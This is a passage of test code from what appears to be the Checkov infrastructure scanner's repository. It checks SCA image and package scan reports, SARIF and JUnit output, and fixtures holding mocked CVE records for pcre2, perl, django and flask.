\"text\": \"An out-of-bounds read vulnerability was discovered in the PCRE2 library in the compile_xclass_matchingpath() function of the pcre2_jit_compile.c file. This involves a unicode property matching issue in JIT-compiled regular expressions. The issue occurs because the character was not fully read in case-less matching within JIT.\"\n                                },\n                                \"help\": {\n                                    \"text\": \"SCA package scan\\nResource: path/to/Dockerfile (sha256:123456).pcre2\\nStatus: needed\"\n                                },\n                                \"defaultConfiguration\": {\"level\": \"error\"},\n                                \"properties\": {\"security-severity\": \"9.1\"},\n                                \"helpUri\": \"https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-1586\",\n                            },\n                        ],\n                        \"organization\": \"bridgecrew\",\n                    }\n                },\n                \"results\": [\n                    {\n                        \"ruleId\": \"Apache-2.0-Fake_perl@5.34.0-3ubuntu1\",\n                        \"ruleIndex\": 0,\n                        \"level\": \"error\",\n                        \"attachments\": [],\n                        \"message\": {\"text\": \"License Apache-2.0-Fake - perl: 5.34.0-3ubuntu1\"},\n                        \"locations\": [\n                            {\n                                \"physicalLocation\": {\n                                    \"artifactLocation\": {\"uri\": \"path/to/Dockerfile\"},\n                                    \"region\": {\n                                        \"startLine\": 1,\n                                        \"endLine\": 1,\n                                        \"snippet\": {\"text\": \"perl: 5.34.0-3ubuntu1\"},\n                                    },\n                                }\n                            }\n                        ],\n                    },\n                    {\n                        \"ruleId\": \"CVE-2020-16156_perl@5.34.0-3ubuntu1\",\n                        \"ruleIndex\": 1,\n                        \"level\": \"warning\",\n                        \"attachments\": [],\n                        \"message\": {\"text\": \"CVE-2020-16156 - perl: 5.34.0-3ubuntu1\"},\n                        \"locations\": [\n                            {\n                                \"physicalLocation\": {\n                                    \"artifactLocation\": {\"uri\": \"path/to/Dockerfile\"},\n                                    \"region\": {\n                                        \"startLine\": 1,\n                                        \"endLine\": 1,\n                                        \"snippet\": {\"text\": \"perl: 5.34.0-3ubuntu1\"},\n                                    },\n                                }\n                            }\n                        ],\n                    },\n                    {\n                        \"ruleId\": \"CVE-2022-1587_pcre2@10.39-3build1\",\n                        \"ruleIndex\": 2,\n                        \"level\": \"note\",\n                        \"attachments\": [],\n                        \"message\": {\"text\": \"CVE-2022-1587 - pcre2: 10.39-3build1\"},\n                        \"locations\": [\n                            {\n                                \"physicalLocation\": {\n                                    \"artifactLocation\": {\"uri\": \"path/to/Dockerfile\"},\n                                    \"region\": {\n                                        \"startLine\": 1,\n                                        \"endLine\": 1,\n                                        \"snippet\": {\"text\": \"pcre2: 10.39-3build1\"},\n                                    },\n                                }\n                            }\n                        ],\n                    },\n                    {\n                        \"ruleId\": \"CVE-2022-1586_pcre2@10.39-3build1\",\n                        \"ruleIndex\": 3,\n                        \"level\": \"note\",\n                        \"attachments\": [],\n                        \"message\": {\"text\": \"CVE-2022-1586 - pcre2: 10.39-3build1\"},\n                        \"locations\": [\n                            {\n                                \"physicalLocation\": {\n                                    \"artifactLocation\": {\"uri\": \"path/to/Dockerfile\"},\n                                    \"region\": {\n                                        \"startLine\": 1,\n                                        \"endLine\": 1,\n                                        \"snippet\": {\"text\": \"pcre2: 10.39-3build1\"},\n                                    },\n                                }\n                            }\n                        ],\n                        \"suppressions\": [{\"kind\": \"external\", \"justification\": \"CVE-2022-1586 is skipped\"}],\n                    },\n                ],\n            }\n        ],\n    }\n\n    assert sarif_output == expected_sarif_json\n\n\ndef test_get_junit_xml_string(sca_image_report):\n    # given\n    test_suites = [sca_image_report.get_test_suite()]\n\n    #  when\n    junit_xml_output = sca_image_report.get_junit_xml_string(test_suites)\n\n    # then\n    assert xml.dom.minidom.parseString(junit_xml_output).toprettyxml() == \"\\n\".join(\n        [\n            '<?xml version=\"1.0\" ?>',\n            '<testsuites disabled=\"0\" errors=\"0\" failures=\"3\" tests=\"5\" time=\"0.0\">',\n            \"\\t\",\n            \"\\t\",\n            '\\t<testsuite disabled=\"0\" errors=\"0\" failures=\"3\" name=\"sca_image scan\" skipped=\"1\" tests=\"5\" time=\"0\">',\n            \"\\t\\t\",\n            \"\\t\\t\",\n            '\\t\\t<testcase name=\"[NONE][BC_LIC_1] SCA license\" classname=\"/path/to/Dockerfile (sha256:123456).path/to/Dockerfile (sha256:123456).pcre2\" file=\"/path/to/Dockerfile (sha256:123456)\"/>',\n            \"\\t\\t\",\n            \"\\t\\t\",\n            '\\t\\t<testcase name=\"[NONE][BC_LIC_1] SCA license\" classname=\"/path/to/Dockerfile (sha256:123456).path/to/Dockerfile (sha256:123456).perl\" file=\"/path/to/Dockerfile (sha256:123456)\">',\n            \"\\t\\t\\t\",\n            \"\\t\\t\\t\",\n            '\\t\\t\\t<failure type=\"failure\" message=\"SCA license\">',\n            \"Resource: path/to/Dockerfile (sha256:123456).perl\",\n            \"File: /path/to/Dockerfile (sha256:123456): 0-0\",\n            \"Guideline: None\",\n            \"\",\n            \"\\t\\t0 | perl: 5.34.0-3ubuntu1</failure>\",\n            \"\\t\\t\\t\",\n            \"\\t\\t\",\n            \"\\t\\t</testcase>\",\n            \"\\t\\t\",\n            \"\\t\\t\",\n            '\\t\\t<testcase name=\"[MEDIUM][CKV_CVE_2020_16156] SCA package scan\" classname=\"/path/to/Dockerfile (sha256:123456).path/to/Dockerfile (sha256:123456).perl\" file=\"/path/to/Dockerfile (sha256:123456)\">',\n            \"\\t\\t\\t\",\n            \"\\t\\t\\t\",\n            '\\t\\t\\t<failure type=\"failure\" message=\"SCA package scan\">',\n            \"Resource: path/to/Dockerfile (sha256:123456).perl\",\n            \"File: /path/to/Dockerfile (sha256:123456): 0-0\",\n            \"Guideline: None\",\n            \"\",\n            \"\\t\\t0 | perl: 5.34.0-3ubuntu1</failure>\",\n            \"\\t\\t\\t\",\n            \"\\t\\t\",\n            \"\\t\\t</testcase>\",\n            \"\\t\\t\",\n            \"\\t\\t\",\n            '\\t\\t<testcase name=\"[LOW][CKV_CVE_2022_1587] SCA package scan\" classname=\"/path/to/Dockerfile (sha256:123456).path/to/Dockerfile (sha256:123456).pcre2\" file=\"/path/to/Dockerfile (sha256:123456)\">',\n            \"\\t\\t\\t\",\n            \"\\t\\t\\t\",\n            '\\t\\t\\t<failure type=\"failure\" message=\"SCA package scan\">',\n            \"Resource: path/to/Dockerfile (sha256:123456).pcre2\",\n            \"File: /path/to/Dockerfile (sha256:123456): 0-0\",\n            \"Guideline: None\",\n            \"\",\n            \"\\t\\t0 | pcre2: 10.39-3build1</failure>\",\n            \"\\t\\t\\t\",\n            \"\\t\\t\",\n            \"\\t\\t</testcase>\",\n            \"\\t\\t\",\n            \"\\t\\t\",\n            '\\t\\t<testcase name=\"[LOW][CKV_CVE_2022_1586] SCA package scan\" classname=\"/path/to/Dockerfile (sha256:123456).path/to/Dockerfile (sha256:123456).pcre2\" file=\"/path/to/Dockerfile (sha256:123456)\">',\n            \"\\t\\t\\t\",\n            \"\\t\\t\\t\",\n            '\\t\\t\\t<skipped type=\"skipped\" message=\"CVE-2022-1586 is skipped\"/>',\n            \"\\t\\t\\t\",\n            \"\\t\\t\",\n            \"\\t\\t</testcase>\",\n            \"\\t\\t\",\n            \"\\t\",\n            \"\\t</testsuite>\",\n            \"\\t\",\n            \"\",\n            \"</testsuites>\",\n            \"\"\n        ]\n    )\n"
  },
  {
    "path": "tests/sca_image/test_runner.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom pathlib import Path\nfrom unittest import mock\nfrom urllib.parse import quote_plus\n\nimport responses\nfrom aioresponses import aioresponses\nfrom yarl import URL\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.code_categories import CodeCategoryType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.dockerfile.runner import Runner as Dockerfile_Runner\nfrom checkov.kubernetes.runner import Runner as Kubernetes_Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.sca_image.runner import Runner\nfrom .conftest import DOCKERFILE_EXAMPLES_DIR, KUBERNETES_EXAMPLES_DIR\nfrom .mocks import mock_scan_empty, mock_scan_image\n\n\ndef test_image_referencer_trigger_image_flow_calls(mock_bc_integration, image_name, cached_scan_result):\n    # given\n    image_id_encoded = quote_plus(f\"image:{image_name}\")\n\n    response_json = {\n        \"violations\": [\n            {\n                \"name\": \"readline\",\n                \"version\": \"8.1.2-r0\",\n                \"license\": \"Apache-2.0\",\n                \"policy\": \"BC_LIC_1\",\n                \"status\": \"OPEN\"\n            },\n            {\n                \"name\": \"libnsl\",\n                \"version\": \"2.0.0-r0\",\n                \"license\": \"Apache-2.0\",\n                \"policy\": \"BC_LIC_1\",\n                \"status\": \"COMPLIANT\"\n            },\n        ]\n    }\n    with aioresponses() as mock_response:\n        mock_response.post(\n            url=mock_bc_integration.api_url + \"/api/v1/vulnerabilities/packages/get-licenses-violations\",\n            payload=response_json,\n            status=200\n        )\n        mock_response.get(\n            url=URL(mock_bc_integration.api_url + f\"/api/v1/vulnerabilities/scan-results/{image_id_encoded}\",\n                    encoded=True),\n            payload=cached_scan_result,\n            status=200,\n        )\n\n        # when\n        reports = Dockerfile_Runner().run(root_folder=str(DOCKERFILE_EXAMPLES_DIR),\n                                          runner_filter=RunnerFilter(run_image_referencer=True))\n\n        sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    # then\n    assert len(sca_image_report.failed_checks) == 4\n    assert len(sca_image_report.passed_checks) == 1\n\n\ndef test_runner_honors_enforcement_rules(mock_bc_integration, image_name2, cached_scan_result):\n    # given\n    image_id_encoded = quote_plus(f\"image:{image_name2}\")\n\n    response_json = {\n        \"violations\": [\n            {\n                \"name\": \"readline\",\n                \"version\": \"8.1.2-r0\",\n                \"license\": \"Apache-2.0\",\n                \"policy\": \"BC_LIC_1\",\n                \"status\": \"OPEN\"\n            },\n            {\n                \"name\": \"libnsl\",\n                \"version\": \"2.0.0-r0\",\n                \"license\": \"Apache-2.0\",\n                \"policy\": \"BC_LIC_1\",\n                \"status\": \"COMPLIANT\"\n            },\n        ]\n    }\n\n    with aioresponses() as mock_response:\n        mock_response.post(\n            url=mock_bc_integration.api_url + \"/api/v1/vulnerabilities/packages/get-licenses-violations\",\n            payload=response_json,\n            status=200\n        )\n        mock_response.get(\n            url=URL(mock_bc_integration.api_url + f\"/api/v1/vulnerabilities/scan-results/{image_id_encoded}\", encoded=True),\n            payload=cached_scan_result,\n            status=200,\n        )\n\n        # when\n        runner_filter = RunnerFilter(use_enforcement_rules=True, run_image_referencer=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        runner_filter.enforcement_rule_configs = {\n            CheckType.KUBERNETES: Severities[BcSeverities.OFF],\n            CheckType.SCA_IMAGE: {\n                CodeCategoryType.LICENSES: Severities[BcSeverities.OFF],\n                CodeCategoryType.VULNERABILITIES: Severities[BcSeverities.OFF]\n            }\n        }\n\n        reports = Kubernetes_Runner().run(root_folder=str(KUBERNETES_EXAMPLES_DIR), runner_filter=runner_filter)\n        sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n        summary = sca_image_report.get_summary()\n    # then\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 5\n    assert summary[\"parsing_errors\"] == 0\n\n\ndef test_run(sca_image_report):\n    # given\n    report = sca_image_report\n\n    # then\n    rootless_path = \"path/to/Dockerfile\"\n    assert report.check_type == \"sca_image\"\n    assert report.resources == {f'{rootless_path} (sha256:123456).pcre2', f'{rootless_path} (sha256:123456).perl'}\n\n    assert len(report.passed_checks) == 1\n    assert len(report.failed_checks) == 3\n    assert len(report.skipped_checks) == 1\n    assert len(report.parsing_errors) == 0\n\n    cve_record = next((c for c in report.failed_checks if\n                       c.resource == f\"{rootless_path} (sha256:123456).pcre2\" and c.check_name == \"SCA package scan\"),\n                      None)\n    assert cve_record is not None\n    assert cve_record.bc_check_id == \"BC_CVE_2022_1587\"\n    assert cve_record.check_id == \"CKV_CVE_2022_1587\"\n    assert cve_record.check_class == \"checkov.common.bridgecrew.vulnerability_scanning.image_scanner.ImageScanner\"  # not the real one\n    assert cve_record.check_name == \"SCA package scan\"\n    assert cve_record.check_result == {\"result\": CheckResult.FAILED}\n    assert cve_record.code_block == [(0, \"pcre2: 10.39-3build1\")]\n    assert cve_record.description == (\n        \"An out-of-bounds read vulnerability was discovered in the PCRE2 library in the get_recurse_data_length() function of the pcre2_jit_compile.c file. \"\n        \"This issue affects recursions in JIT-compiled regular expressions caused by duplicate data transfers.\"\n    )\n    assert cve_record.file_abs_path == f\"/{rootless_path}\"\n    assert cve_record.file_line_range == [0, 0]\n    assert cve_record.file_path == f\"/{rootless_path} (sha256:123456)\"\n    assert cve_record.repo_file_path == f\"/{rootless_path}\"\n    assert cve_record.resource == f\"{rootless_path} (sha256:123456).pcre2\"\n    assert cve_record.severity == Severities[BcSeverities.LOW]\n    assert cve_record.short_description == \"CVE-2022-1587 - pcre2: 10.39-3build1\"\n    assert cve_record.vulnerability_details[\"lowest_fixed_version\"] == \"N/A\"\n    assert cve_record.vulnerability_details[\"fixed_versions\"] == []\n\n    assert {\"licenses\", \"package_type\"} <= cve_record.vulnerability_details.keys()\n    assert cve_record.vulnerability_details[\"licenses\"] == \"Apache-2.0\"\n    assert cve_record.vulnerability_details[\"package_type\"] == \"os\"\n\n    skipped_record = report.skipped_checks[0]\n    assert skipped_record.check_result == {\"result\": CheckResult.SKIPPED,\n                                           'suppress_comment': 'CVE-2022-1586 is skipped'}\n    assert skipped_record.short_description == \"CVE-2022-1586 - pcre2: 10.39-3build1\"\n\n    # making sure extra-resources (a scanned packages without cves) also have licenses - this data will be printed\n    # as part of the BON report.\n    extra_resource = next((c for c in report.extra_resources if c.resource == f\"{rootless_path} (sha256:123456).bzip2\"),\n                          None)\n    assert extra_resource is not None\n    assert \"licenses\" in extra_resource.vulnerability_details\n    assert extra_resource.vulnerability_details[\"licenses\"] == \"Unknown\"\n\n    license_resource = next((c for c in report.failed_checks if c.check_name == \"SCA license\" if\n                             c.resource == f\"{rootless_path} (sha256:123456).perl\"), None)\n    assert license_resource is not None\n    print(license_resource.resource)\n    assert license_resource.check_id == \"BC_LIC_1\"\n    assert license_resource.bc_check_id == \"BC_LIC_1\"\n    assert license_resource.check_result == {\"result\": CheckResult.FAILED}\n\n    assert {\"package_name\", \"package_name\", \"license\", \"status\",\n            \"policy\", \"package_type\"} <= license_resource.vulnerability_details.keys()\n    assert license_resource.vulnerability_details[\"package_name\"] == \"perl\"\n    assert license_resource.vulnerability_details[\"package_version\"] == \"5.34.0-3ubuntu1\"\n    assert license_resource.vulnerability_details[\"license\"] == \"Apache-2.0-Fake\"\n    assert license_resource.vulnerability_details[\"status\"] == \"FAILED\"\n    assert license_resource.vulnerability_details[\"policy\"] == \"BC_LIC_1\"\n    assert license_resource.vulnerability_details[\"package_type\"] == \"os\"\n\n\ndef test_run_license_policy(mock_bc_integration, image_name, cached_scan_result):\n    # given\n    image_id_encoded = quote_plus(f\"image:{image_name}\")\n\n    response_json = {\n        \"violations\": [\n            {\n                \"name\": \"readline\",\n                \"version\": \"8.1.2-r0\",\n                \"license\": \"Apache-2.0\",\n                \"policy\": \"BC_LIC_1\",\n                \"status\": \"OPEN\"\n            },\n            {\n                \"name\": \"libnsl\",\n                \"version\": \"2.0.0-r0\",\n                \"license\": \"Apache-2.0\",\n                \"policy\": \"BC_LIC_1\",\n                \"status\": \"COMPLIANT\"\n            },\n        ]\n    }\n    with aioresponses() as mock_response:\n        mock_response.post(\n            url=mock_bc_integration.api_url + \"/api/v1/vulnerabilities/packages/get-licenses-violations\",\n            payload=response_json,\n            status=200\n        )\n        mock_response.get(\n            url=URL(mock_bc_integration.api_url + f\"/api/v1/vulnerabilities/scan-results/{image_id_encoded}\", encoded=True),\n            payload=cached_scan_result,\n            status=200,\n        )\n\n        # when\n        runner_filter = RunnerFilter(checks=['BC_LIC_1'], run_image_referencer=True)\n        reports = Dockerfile_Runner().run(root_folder=str(DOCKERFILE_EXAMPLES_DIR), runner_filter=runner_filter)\n        sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n    # then\n    assert not [c for c in sca_image_report.passed_checks + sca_image_report.failed_checks\n                if c.check_id.startswith('CKV_CVE')]\n\n\n@mock.patch('checkov.sca_image.runner.Runner.scan', mock_scan_empty)\n@responses.activate\ndef test_run_with_empty_scan_result(mock_bc_integration):\n    # given\n    response_json = {\n        \"violations\": [\n            {\n                \"name\": \"pcre2\",\n                \"version\": \"10.39-3build1\",\n                \"license\": \"Apache-2.0\",\n                \"policy\": \"BC_LIC_1\",\n                \"status\": \"COMPLIANT\"\n            },\n            {\n                \"name\": \"perl\",\n                \"version\": \"5.34.0-3ubuntu1\",\n                \"license\": \"Apache-2.0-Fake\",\n                \"policy\": \"BC_LIC_1\",\n                \"status\": \"OPEN\"\n            },\n        ]\n    }\n    responses.add(\n        method=responses.POST,\n        url=mock_bc_integration.api_url + \"/api/v1/vulnerabilities/packages/get-licenses-violations\",\n        json=response_json,\n        status=200\n    )\n\n    runner = Runner()\n    runner_filter = RunnerFilter(skip_checks=[\"CKV_CVE_2022_1586\"])\n    # when\n    dockerfile_path = \"/Users/ipeleg/Work/checkov/tests/sca_image/examples/dockerfile/Dockerfile\"\n    image_id = \"sha256:123456\"\n    report = runner.run(root_folder=DOCKERFILE_EXAMPLES_DIR, runner_filter=runner_filter,\n                        dockerfile_path=dockerfile_path, image_id=image_id)\n\n    # then\n    assert report.check_type == \"sca_image\"\n    assert report.resources == set()\n\n    assert len(report.passed_checks) == 0\n    assert len(report.failed_checks) == 0\n    assert len(report.skipped_checks) == 0\n    assert len(report.parsing_errors) == 0\n\n\n@mock.patch.dict(os.environ, {\"CKV_IGNORE_HIDDEN_DIRECTORIES\": \"false\"})\n@mock.patch('checkov.sca_image.runner.Runner.get_image_cached_results', mock_scan_image)\ndef test_run_with_image_cached_reports_env(mock_bc_integration, image_name, cached_scan_result2):\n    image_id_encoded = quote_plus(f\"image:{image_name}\")\n\n    with aioresponses() as mock_response:\n        mock_response.get(\n            url=URL(mock_bc_integration.api_url + f\"/api/v1/vulnerabilities/scan-results/{image_id_encoded}\", encoded=True),\n            payload=cached_scan_result2,\n            status=200,\n        )\n\n        runner_filter = RunnerFilter(run_image_referencer=True)\n        reports = Dockerfile_Runner().run(root_folder=str(DOCKERFILE_EXAMPLES_DIR), runner_filter=runner_filter)\n        sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 1\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n    assert len(sca_image_report.image_cached_results) == 1\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_CREATE_SCA_IMAGE_REPORTS_FOR_IR\": \"False\"})\n@mock.patch.dict(os.environ, {\"CKV_IGNORE_HIDDEN_DIRECTORIES\": \"false\"})\n@mock.patch('checkov.sca_image.runner.Runner.get_image_cached_results', mock_scan_image)\ndef test_run_with_image_cached_reports_and_without_sca_reports_env(mock_bc_integration, image_name,\n                                                                   cached_scan_result2):\n    image_id_encoded = quote_plus(f\"image:{image_name}\")\n    with aioresponses() as mock_response:\n        mock_response.get(\n            url=URL(mock_bc_integration.api_url + f\"/api/v1/vulnerabilities/scan-results/{image_id_encoded}\", encoded=True),\n            payload=cached_scan_result2,\n            status=200,\n        )\n\n        runner_filter = RunnerFilter(run_image_referencer=True)\n        reports = Dockerfile_Runner().run(root_folder=str(DOCKERFILE_EXAMPLES_DIR), runner_filter=runner_filter)\n        sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 1\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n    assert len(sca_image_report.image_cached_results) == 1\n\n\n@responses.activate\ndef test_run_with_error_from_scan_results(mock_bc_integration, image_name2, cached_scan_result3):\n    image_id_encoded = quote_plus(f\"image:{image_name2}\")\n\n    responses.add(\n        method=responses.GET,\n        url=mock_bc_integration.api_url + f\"/api/v1/vulnerabilities/scan-results/{image_id_encoded}\",\n        json=cached_scan_result3,\n        status=500,\n    )\n\n    runner = Runner()\n    runner_filter = RunnerFilter(skip_checks=[\"CKV_CVE_2022_1586\"])\n    # when\n    image_id = \"sha256:123456\"\n    report = runner.run(root_folder=DOCKERFILE_EXAMPLES_DIR, runner_filter=runner_filter, image_id=image_id,\n                        files=[\".github/workflows/vulnerable_container.yaml\"])\n\n    assert len(report.passed_checks) == 0\n    assert len(report.failed_checks) == 0\n    assert len(report.skipped_checks) == 0\n    assert len(report.parsing_errors) == 0\n    assert len(report.image_cached_results) == 0\n"
  },
  {
    "path": "tests/sca_package_2/__init__.py",
    "content": ""
  },
  {
    "path": "tests/sca_package_2/conftest.py",
    "content": "import os\nfrom pathlib import Path\nfrom unittest import mock\nfrom unittest.mock import MagicMock\nfrom typing import Dict, Any, List, Generator\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.bridgecrew.bc_source import SourceType\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration, bc_integration\nfrom checkov.common.output.report import Report\nfrom checkov.sca_package_2.runner import Runner\nfrom checkov.sca_package_2.output import create_cli_license_violations_table, create_cli_output\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.common.sca.commons import get_package_alias\nfrom checkov.common.sca.output import create_report_cve_record, create_report_license_record\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n@pytest.fixture(autouse=True)\ndef mock_env_vars():\n    with mock.patch.dict(os.environ, {}):\n        yield\n\n\n@pytest.fixture()\ndef mock_bc_integration() -> BcPlatformIntegration:\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    bc_integration.api_url = 'https://www.bridgecrew.cloud'\n    bc_integration.setup_bridgecrew_credentials(\n        repo_id=\"bridgecrewio/checkov\",\n        skip_fixes=True,\n        skip_download=True,\n        source=SourceType(\"Github\", False),\n        source_version=\"1.0\",\n        repo_branch=\"master\",\n    )\n    return bc_integration\n\n\n@pytest.fixture(scope='package')\ndef scan_result_2() -> Dict[str, Dict[str, Any]]:\n    return {\n        \"/requirements.txt\": {\n            \"repository\": \"/requirements.txt\",\n            \"passed\": True,\n            \"packages\": [\n                {\n                    \"type\": \"python\",\n                    \"name\": \"requests\",\n                    \"version\": \"2.26.0\",\n                    \"path\": \"/requirements.txt\",\n                    \"registry\": \"https://pypi.python.org/\",\n                },\n                {\n                    \"type\": \"python\",\n                    \"name\": \"django\",\n                    \"version\": \"1.2\",\n                    \"path\": \"/requirements.txt\",\n                    \"registry\": \"https://pypi.python.org/\"\n                },\n                {\n                    \"type\": \"python\",\n                    \"name\": \"flask\",\n                    \"version\": \"0.6\",\n                    \"path\": \"/requirements.txt\",\n                    \"registry\": \"https://pypi.python.org/\"\n                },\n            ],\n            \"complianceIssues\": None,\n            \"complianceDistribution\": {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"total\": 0},\n            \"vulnerabilities\": [\n                {\n                    \"id\": \"CVE-2019-19844\",\n                    \"status\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n                    \"cvss\": 9.8,\n                    \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n                    \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)\",\n                    \"severity\": \"critical\",\n                    \"packageName\": \"django\",\n                    \"packageVersion\": \"1.2\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n                    'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                    'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                    \"impactedVersions\": [\"<1.11.27\"],\n                    \"publishedDate\": \"2019-12-18T20:15:00+01:00\",\n                    \"discoveredDate\": \"2019-12-18T19:15:00Z\",\n                    \"fixDate\": \"2019-12-18T20:15:00+01:00\",\n                },\n                {\n                    \"id\": \"CVE-2016-6186\",\n                    \"status\": \"fixed in 1.9.8, 1.8.14\",\n                    \"cvss\": 6.1,\n                    \"vector\": \"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\",\n                    \"description\": \"Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function in contrib/admin/static/admin/js/admin/RelatedObjectLookups.js in Django before 1.8.14, 1.9.x before 1.9.8, and 1.10.x before 1.10rc1 allows remote attackers to inject arbitrary web script or HTML via vectors involving unsafe usage of Element.innerHTML.\",\n                    \"severity\": \"medium\",\n                    \"packageName\": \"django\",\n                    \"packageVersion\": \"1.2\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2016-6186\",\n                    'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                    'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                    \"impactedVersions\": [\"<=1.8.13\"],\n                    \"publishedDate\": \"2016-08-05T17:59:00+02:00\",\n                    \"discoveredDate\": \"2016-08-05T15:59:00Z\",\n                    \"fixDate\": \"2016-08-05T17:59:00+02:00\",\n                },\n                {\n                    \"id\": \"CVE-2016-7401\",\n                    \"status\": \"fixed in 1.9.10, 1.8.15\",\n                    \"cvss\": 7.5,\n                    \"vector\": \"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N\",\n                    \"description\": \"The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies.\",\n                    \"severity\": \"high\",\n                    \"packageName\": \"django\",\n                    \"packageVersion\": \"1.2\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2016-7401\",\n                    'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                    'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                    \"impactedVersions\": [\"<=1.8.14\"],\n                    \"publishedDate\": \"2016-10-03T20:59:00+02:00\",\n                    \"discoveredDate\": \"2016-10-03T18:59:00Z\",\n                    \"fixDate\": \"2016-10-03T20:59:00+02:00\",\n                },\n                {\n                    \"id\": \"CVE-2021-33203\",\n                    \"status\": \"fixed in 3.2.4, 3.1.12, 2.2.24\",\n                    \"cvss\": 4.9,\n                    \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N\",\n                    \"description\": \"Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.\",\n                    \"severity\": \"medium\",\n                    \"packageName\": \"django\",\n                    \"packageVersion\": \"1.2\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2021-33203\",\n                    'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                    'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                    \"impactedVersions\": [\"<2.2.24\"],\n                    \"publishedDate\": \"2021-06-08T20:15:00+02:00\",\n                    \"discoveredDate\": \"2021-06-08T18:15:00Z\",\n                    \"fixDate\": \"2021-06-08T20:15:00+02:00\",\n                },\n                {\n                    \"id\": \"CVE-2019-1010083\",\n                    \"status\": \"fixed in 1.0\",\n                    \"cvss\": 7.5,\n                    \"vector\": \"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\n                    \"description\": \"The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.\",\n                    \"severity\": \"high\",\n                    \"packageName\": \"flask\",\n                    \"packageVersion\": \"0.6\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-1010083\",\n                    'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                    'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                    \"impactedVersions\": [\"<1.0\"],\n                    \"publishedDate\": \"2019-07-17T16:15:00+02:00\",\n                    \"discoveredDate\": \"2019-07-17T14:15:00Z\",\n                    \"fixDate\": \"2019-07-17T16:15:00+02:00\",\n                },\n                {\n                    \"id\": \"CVE-2018-1000656\",\n                    \"status\": \"fixed in 0.12.3\",\n                    \"cvss\": 